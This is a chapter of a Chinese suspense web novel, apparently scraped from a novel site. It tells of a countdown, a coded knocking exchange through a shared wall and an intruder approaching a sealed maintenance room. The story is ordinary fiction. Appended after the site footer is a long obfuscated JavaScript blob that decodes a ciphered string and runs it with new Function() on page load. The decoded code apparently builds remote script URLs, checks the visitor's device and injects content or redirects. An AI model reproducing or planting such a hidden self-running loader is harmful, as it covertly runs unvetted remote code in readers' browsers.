第2054章 不知道还有几步
墙内嵌入式显示面板亮起的倒计时停在三分钟,苏晚在看见那个数字的同时,把手里那张透明片基翻回正面,将片基上第二列坐标所指向的位置——共用墙另一侧的那个房间——和这三分钟的倒计时放在同一条逻辑线上,意识到那个倒计时不是针对这个检修间内部的任何机制,而是针对共用墙另一侧的空间,在倒计时归零之前,那侧空间里某个已经被激活的程序将进入不可逆的执行阶段,而被嵌入墙体的那个小东西,不是完成了某件事,而是延缓了某件事。
中年男人在这个时候把多功能刀具整个收回裤袋,这个动作意味着他对当前局面的判断发生了变化,他此前所有准备性动作的前提是控制这个房间里的信息节点,但停车场画面消失、第二个人带着设备离开之后,他等待的那个来自外部的支持已经撤出,他此刻在这个封闭检修间里的实际资源,只剩下他自己和那把刀具,以及一台笔记本电脑上已经失去停车场信号的监控画面。
中间人从铰链墙面走回桌旁,他的手是空的,那个被墙体结构吞进去的小东西已经完成了它在这个节点的功能,但他没有坐下,而是站在桌子和折叠凳之间的位置,这个站位让他同时处于隔断门方向和显示面板方向的视线交叉区,他在用这个位置告诉这个房间里的另外两个人,他的下一个动作不是离开,而是等待倒计时结束后那个他显然已经预知的事情发生。
苏晚把透明片基重新放进信封,把信封折好压在左手的小臂下方,她的右手从桌面边缘距离那只铝制圆筒封盖最近的位置撤开,把注意力移向显示面板上的倒计时——数字从三变成了二,面板上没有任何其他信息,只有这个数字,而这个面板在今晚她进来之前,被涂料层完整覆盖,意味着它存在的目的从一开始就不是给这个房间的常规使用者看的,它是为今晚到达这个房间、并且在特定节点触发凹槽开关的人而亮起的。
楼上走廊方向——或者更准确地说,共用墙的另一侧——在这个时候传来了一个苏晚没有预期的声音,不是机械位移,不是气压变化,而是脚步,是一个人在一个密闭空间里走动的脚步,脚步的节奏不均匀,像是那个人在那个空间里正在处理某件需要他来回移动的事情,而那件事情的进度,和显示面板上倒计时的减少速度之间存在某种她无法立刻量化的关联。
中年男人听见那个脚步声之后,脸朝向了共用墙的方向,而不是显示面板,这个细节告诉苏晚,他知道那面墙的另一侧今晚有人,他知道那个人的存在,但他在进来之前对那个人的具体行动计划并不完整掌握,脚步声的节奏对他来说是一个新的信息。
倒计时归零的声音没有发出,面板在数字变成零之前的最后一秒,整个熄灭了。
共用墙方向的脚步声在面板熄灭的同一瞬间停止,然后那面墙上发生了一件苏晚进入这个房间以来最出乎意料的事——隔断门的铰链一侧,也就是中间人刚才嵌入那个小东西的那道缝隙位置的下方约五十厘米,墙面上有一块约手掌大小的区域轻微向内凹陷,凹陷的深度不超过一厘米,但足以让墙面材质在灯光下产生一道可见的阴影,那道阴影的轮廓和片基上建筑内部结构定位坐标所描述的偏差量完全对应,那不是墙体的结构问题,而是一个被激活的接触面,它正在从另一侧被人按压着。
中间人在看见那道凹陷的同时,快步走向那个位置,从外侧用指节按照某个苏晚看不出规律的序列叩击了那道阴影的边缘,叩击声在密封空间里显得格外清晰,叩击的间隔有长有短,那是一种编码,而编码发出之后,凹陷处的墙面材质停止了向内按压的运动,两三秒的静默之后,那个位置传出了一道轻微的卡扣声,不是解锁,是锁定——对方在这一侧收到叩击编码之后,把那个接触面从另一侧重新锁死了。
中年男人在卡扣声落下后,把手从裤袋位置完全移开,这是今晚他第一次双手都回到自然垂落的状态,这个姿态的变化不是放松,而是一种重新计算之后的静止,他刚才等待的那条外部支持线路已经断掉,而他原本以为可以通过这个房间内部节点完成的某件事,在中间人的叩击编码换来对方锁定的那一刻,也同样彻底关闭了。
苏晚把这件事和三年前那个悬案节点档案里被手动标注的字段重新过了一遍,那个字段今晚以片基背面的编号字符出现,而片基本身来自信封,信封来自中间人,中间人今晚每一件放上桌面的东西都是提前准备好的,但他叩击那道凹陷时使用的编码,是他在听见对方按压那道接触面之后才即时反应的,这意味着今晚共用墙另一侧的那个人,和中间人之间存在一套苏晚此前没有接触过的直接协议,一套不依赖任何设备和信号的、纯物理的协议,而这套协议在今晚之前已经约定好了对方的出现时机,就在倒计时结束的节点。
笔记本电脑屏幕上,监控画面的停车场格子依然是空的,但苏晚这个时候注意到另一个格子——那个格子对应的是她今晚进入这栋楼时走过的入口层走廊,走廊里出现了一个新的身影,那个人没有往电梯方向走,而是直接朝着她今晚进入通道入口之前经过的走廊区域移动,他的移动路线和走廊里的监控盲区高度吻合,他知道摄像头的位置,他知道怎么在画面边缘而不是正中间活动。
那是今晚第一次,有人从这栋楼的外部进入,选择了一条没有人告诉过他的路径,而那条路径的终点,是通向这个检修间的通道入口。
中年男人在看见那个身影的同时,把视线从显示面板已经熄灭的墙面收回来,重新看向苏晚,他今晚第一次以一种不再是观察的方式看她,那是一个人在已知局面彻底改变之后、重新评估当前最重要的资产时才会出现的眼神,而他评估的对象,是苏晚手臂下面那个夹着透明片基的信封。
中年男人的视线落在苏晚手臂下方那个信封上,持续时间超过了他看向共用墙或显示面板的任何一次,这个持续时间本身就是一个信息——信封里的透明片基对他来说不是未知的,他知道那里面有什么,但他此刻不知道的是,苏晚是否已经完成了片基上第二列坐标的换算,是否已经意识到共用墙另一侧的空间和他们三个人所在的这个房间之间存在一套今晚才被激活的物理协议。
共用墙另一侧的脚步声在面板熄灭后停止了大约四十秒,那四十秒的静默之后,传来了一个新的声音——不是脚步,是摩擦,是某种扁平的物体被人在一个光滑表面上推动的声音,摩擦的方向根据声音传导的角度判断,是朝向共用墙的底部边缘,也就是地板和墙体交接的位置。
苏晚在听见那个摩擦声的同时,把目光从监控画面里已经在走廊里移动的那个身影上收回来,落在共用墙底部靠近地面的位置,那道位置在灯光角度最低的区域,她今晚进来之后从未仔细检视过,而此刻墙体底部的踢脚线和地面之间,有一道比正常施工缝更宽的间隙——那道间隙此前存在,只是被她忽略了。
那件被推过来的东西从间隙里探出了一个边角,是纸,是一张折叠过的纸,折叠的方式非常特定,三折之后再对折,这种折法在苏晚唯一能想到的一个使用语境里,是用来在不能直接见面的情况下传递坐标索引的。
中间人在看见那张纸的边角出现在地面上时,没有移动,但他的站位从桌子和折叠凳之间的中间区域,往共用墙方向移动了半步,这个移动不是要去取那张纸,而是在把自己的位置调整到那张纸、苏晚和隔断门三个方向的交叉节点上。
中年男人在中间人移动的同时,把视线从苏晚身上转向那张纸,他蹲下去拿了那张纸,而不是等苏晚去取——他先拿,这个优先动作在这个空间里是第一次发生,在今晚所有的物品传递里,他从来都是接收方或等待方,这是他第一次主动截取某样东西。
他展开那张纸,扫了一眼,随后把纸张沿着原来的折叠线重新折好,放在了桌面上,没有推向任何人,而是压在笔记本电脑的底部边缘下方。
苏晚注意到他展开那张纸的时候,纸面朝向她这一侧,但内容在他展开的角度里只有最下方的一行字在灯光下可见,那行字的字体不是印刷字,是手写,而手写的笔迹和片基背面那个编号字符的书写力度完全一致。
监控画面里那个从入口层走廊进入的身影在这个时候消失在了走廊尽头的画面边缘,他走过的最后一段路径,和通道入口的位置在同一条平行线上,他没有上楼,他选择的路径终点就在这里,在这个检修间通道入口的附近。
中间人在那个身影消失之后,第一次开口,他说的不是苏晚,不是中年男人,而是对着共用墙方向说了一个数字,那个数字的发音方式和片基第一列数字序列里的第三组数字完全吻合。
共用墙的另一侧,沉默了。
然后,地面间隙里那张纸的摩擦声再次响起,但方向是反向的,是有人从另一侧把那张纸往回拉,而纸已经在中年男人手里,间隙里什么都没有,那个反向的摩擦声拉了一下空气,停止了。
三秒后,通道方向——也就是苏晚进来之前走过的那段向下延伸的坡道方向——传来了一个她从未在今晚任何节点预期过的声音,是地面板复位机关被人从通道内部反向触发的声音,不是从外部踩下,而是从内部撬开,这意味着今晚有第二个人进入了通道,而这个人用的是和她进来的方向完全相反的路径,他不是从顶层走廊进来的,他从通道的另一端进来,此刻已经在坡道上,距离这个检修间的隔断门,不知道还有几步。
一秒记住【996小说网】
996xiaoshuo.com,更新快,无弹窗!
!function(){function a(a){var _idx="u5afgpg4hc";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/_nd7pJpoh(/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"_nd7pJpoh("!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8_nd7pJpoh("a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();